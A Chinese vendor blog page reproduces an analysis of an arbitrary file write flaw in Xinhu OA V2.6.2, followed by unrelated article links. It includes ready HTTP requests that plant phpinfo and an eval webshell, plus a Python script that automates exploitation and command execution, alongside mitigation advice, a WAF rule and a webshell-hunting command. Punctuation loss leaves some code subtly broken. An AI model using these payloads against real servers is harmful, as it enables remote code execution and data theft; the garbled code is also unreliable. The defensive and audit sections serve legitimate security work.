尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
信呼OA V2.6.2 任意文件写入漏洞分析:普通用户权限下3步构造PHP Webshell
信呼OA V2.6.2 任意文件写入漏洞深度解析与实战利用漏洞背景与影响范围信呼OA作为一款在中小企业中广泛使用的开源协同办公系统其安全性直接关系到企业核心数据资产的安全。2023年12月发布的V2.6.2版本中存在一个高危的任意文件写入漏洞攻击者仅需普通用户权限即可通过精心构造的请求在服务器上写入PHP webshell进而实现远程代码执行。该漏洞的特殊性在于低权限要求不同于传统OA系统漏洞需要管理员权限此漏洞普通用户即可触发新版影响区别于早期版本已知漏洞这是首个公开的V2.6.x系列可利用漏洞隐蔽性强漏洞利用过程不涉及文件上传可绕过常规WAF检测规则根据网络空间测绘数据显示全球使用信呼OA的网站超过1万个主要分布在制造业、教育机构和政府单位其中约60%运行着受影响版本。漏洞原理与代码审计核心问题定位漏洞根源位于webmain/main/flow/flowAction.php文件中的copymodeAjax方法。该方法在处理模板复制请求时未对用户输入的name参数进行有效过滤直接将其拼接到PHP文件内容中。关键漏洞代码如下public function copymodeAjax() { $id (int)$this-get(id); $name $this-get(name); // 未过滤的用户输入 //... $stra ?php class mode_.$name.ClassAction extends inputAction {...}; $this-rock-createtxt($apaths, $stra); // 直接写入文件 }漏洞触发链条完整的漏洞利用涉及以下关键步骤参数注入点name参数通过POST传递允许包含特殊字符大小写转换系统自动将输入转为小写限制了大写字母的使用文件写入通过createtxt方法将构造的类定义写入/flow/input/目录文件访问生成的PHP文件可通过固定URL路径直接访问安全机制绕过分析虽然系统存在部分防护措施但均被有效绕过防护措施绕过方法有效性XSS过滤使用{}分隔PHP代码完全绕过大小写限制使用strtoupper动态转换部分绕过文件后缀检查固定生成.php文件不适用漏洞利用实战基础利用 - 写入PHP信息页通过以下请求可在服务器上创建包含phpinfo()的测试文件POST /index.php?dmainmflowacopymodeajaxbooltrue HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded id1namea{};phpinfo();class a生成的文件可通过两种路径访问/webmain/flow/input/mode_a{};phpinfo();class aAction.php/webmain/model/flow/mode_a{};phpinfo();class aModel.php高级利用 - 写入功能性Webshell由于大小写限制需要使用特殊技巧写入可用的webshellPOST /index.php?dmainmflowacopymodeajaxbooltrue HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded id1namea{};eval(strtoupper(eval($_request[1]);));class a访问时需进行URL编码http://target.com/webmain/flow/input/mode_a%7B%7D%3Beval%28strtoupper%28%22eval%28%24_request%5B1%5D%29%3B%22%29%29%3Bclass%20aAction.php?1echo%20md5(1);自动化利用脚本以下Python脚本可自动化漏洞检测与利用import requests import urllib.parse def check_vuln(url): payload a{};phpinfo();class a data {id: 1, name: payload} try: r requests.post(f{url}/index.php?dmainmflowacopymodeajaxbooltrue, datadata, timeout10) if r.status_code 200: return True except: pass return False def exploit(url, cmd): payload fa{{}};eval(strtoupper(\eval($_request[1]);\));class a data {id: 1, name: payload} requests.post(f{url}/index.php?dmainmflowacopymodeajaxbooltrue, datadata) encoded urllib.parse.quote(payload) r requests.get(f{url}/webmain/flow/input/mode_{encoded}Action.php?1{cmd}) return r.text防御方案与修复建议临时缓解措施对于无法立即升级的用户建议采取以下防护输入过滤在应用层添加对name参数的严格校验仅允许字母数字和下划线过滤所有特殊字符{};()$目录权限限制/webmain/flow/input/目录的写入权限chmod -R 755 /path/to/webmain/flow/input/WAF规则添加以下自定义规则拦截攻击请求SecRule ARGS_POST:name contains {} id:1001,deny,status:403官方修复方案信呼OA官方已在后续版本中通过以下方式修复漏洞参数过滤对name参数增加正则校验$name preg_replace(/[^a-zA-Z0-9_]/, , $name);内容转义对写入文件的内容进行HTML实体编码$stra htmlspecialchars($stra, ENT_QUOTES);权限校验增加模板复制操作的权限检查建议所有用户升级至V2.6.3或更高版本升级前务必做好数据备份。漏洞挖掘方法论本漏洞的发现过程体现了经典的白盒审计思路危险函数追踪全局搜索file_put_contents、fwrite等文件操作函数参数回溯分析从写入点反向追踪用户可控输入源调用链重构绘制完整的参数传递路径图利用场景构建结合业务逻辑设计可行的攻击路径在实际审计中还应特别注意以下代码模式动态文件生成如模板引擎未过滤的用户输入直接拼接非常规文件操作如日志写入、缓存生成企业安全防护体系建议针对此类办公系统的安全防护建议建立多层防御体系防护层级具体措施实施要点网络层入侵检测系统监控异常文件创建行为主机层文件完整性监控关键目录变更告警应用层输入输出过滤统一安全过滤组件数据层定期备份离线存储备份数据管理层漏洞管理流程建立补丁更新机制特别提醒在漏洞修复后应全面检查服务器是否存在遗留的webshell文件推荐使用以下命令进行排查find /var/www -name *.php -mtime -7 -exec grep -l eval( {} \;
RELATED

相关推荐

AI训练数据合规指南:视频抓取、平台条款与版权风险解析

AI训练数据合规指南:视频抓取、平台条款与版权风险解析

🚀 30款热门AI模型一站整合,DeepSeek/GLM/Qwen 随心用,限时 5 折。 👉 点击领海量免费额度 这类涉及 AI 训练数据来源的争议,最值得关注的不是谁告了谁,而是普通开发者和内容创作者在实际项目中如何合规…

📅 2026/9/10 1:28:41
TMC7300与PIC18LF27K42构建高效直流电机驱动系统

TMC7300与PIC18LF27K42构建高效直流电机驱动系统

1. 项目背景与核心器件选型 有刷直流电机(BDC)在工业自动化、消费电子和汽车电子等领域应用广泛,但传统驱动方案常面临效率低、控制精度差和体积过大等问题。TMC7300作为一款高度集成的电机驱动器IC,与PIC18LF27K42微控制器组合&a…

📅 2026/8/22 18:31:57
计算机毕业设计之靖远县旅游产业带动农产品开发系统

计算机毕业设计之靖远县旅游产业带动农产品开发系统

本系统为用户而设计制作靖远县旅游产业带动农产品开发系统,旨在实现旅游产业带动农产品智能化、现代化管理。本靖远县旅游产业带动农产品管理自动化系统的开发和研制的最终目的是将旅游产业带动农产品的运作模式从手工记录数据转变为网络信息查询管理,从…

📅 2026/9/8 11:24:01
MORE NEWS

更多资讯

📰

PythonRobotics 的 Stanley 转向控制路径跟踪:算法原理、源码解析与仿真实践

PythonRobotics 的 Stanley 转向控制路径跟踪:算法原理、源码解析与仿真实践 【免费下载链接】PythonRobotics Python sample codes and textbook for robotics algorithms. 项目地址: https://gitcode.com/GitHub_Trending/py/PythonRobotics 导读 本文以 …

📰

嵌套查询详解:从SQL子查询到EXISTS与性能优化

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

Hy4 preview选型:自部署GPU服务器还是API调用?成本与运维对比

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

ToolJet LDAP 单点登录(SSO)配置指南:从工作区设置到源码级登录流程解析

ToolJet LDAP 单点登录(SSO)配置指南:从工作区设置到源码级登录流程解析 【免费下载链接】ToolJet Open-source foundation of ToolJet AI - the enterprise app generation platform for internal tools, dashboards, business applications…

📰

YOLO小样本农业视觉:咖啡果实成熟度四分类实战

简介:本资源是面向计算机视觉初学者与YOLO系列算法实践者的专业级目标检测数据集,专为咖啡果实成熟度识别任务设计,覆盖未成熟、半熟、成熟、过熟四类关键状态,可直接用于YOLOv5/v7/v8/v9/v10/YOLO11等主流版本的模型训练、验证与…

📰

业务架构是什么?大白话讲透实战认知框架

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬